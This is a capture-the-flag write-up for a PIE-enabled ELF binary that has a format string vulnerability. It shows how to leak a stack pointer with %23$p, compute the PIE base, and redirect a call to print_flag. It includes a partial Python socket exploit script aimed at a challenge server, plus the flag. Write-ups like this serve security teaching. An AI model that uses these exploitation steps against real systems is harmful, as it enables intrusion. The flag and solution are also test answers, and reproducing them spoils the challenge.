Overview
A 64-bit ELF binary with PIE enabled. The program has a format string vulnerability that allows leaking stack memory and prompts for a memory address to call directly.
Reconnaissance
Disassembling the binary shows the target function print_flag is located at offset 0x1179.
The main execution calls get_flag, which reads input and prints it back using printf(buf). It then takes a hex address via scanf and executes a function call to it.
Exploitation Strategy
We exploit the format string vulnerability by sending %23$p. This leaks a return address back to main on the stack.
We subtract the static offset of main (0x11E1) from the leaked address to calculate the dynamic PIE base address.
We add the offset of print_flag (0x1179) to the base address and send the calculated address to the prompt to trigger the flag display.
Solution Code
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('20.197.42.57', 2222))
# Leak main pointer from stack
s.sendall(b"%23$p\n")
# ... read leaked pointer ...
# print_flag_addr = main_addr - 0x11e1 + 0x1179
# Send target address in hex
s.sendall(f"{print_flag_addr:x}\n".encode())
print(s.recv(1024).decode())
# Flag: CrackOn{pie_pei_eip_epi_ipe_iep}Flag
CrackOn{pie_pei_eip_epi_ipe_iep}